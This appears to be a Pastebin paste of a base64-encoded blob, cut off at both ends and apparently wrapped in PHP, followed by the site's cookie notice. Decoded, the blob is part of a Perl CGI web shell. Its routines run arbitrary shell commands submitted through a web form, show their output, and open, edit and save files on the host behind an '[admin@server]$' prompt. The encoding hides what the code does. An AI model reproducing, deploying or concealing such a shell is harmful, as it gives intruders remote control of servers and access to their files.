RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KCSRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+PGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZzxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlP"?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top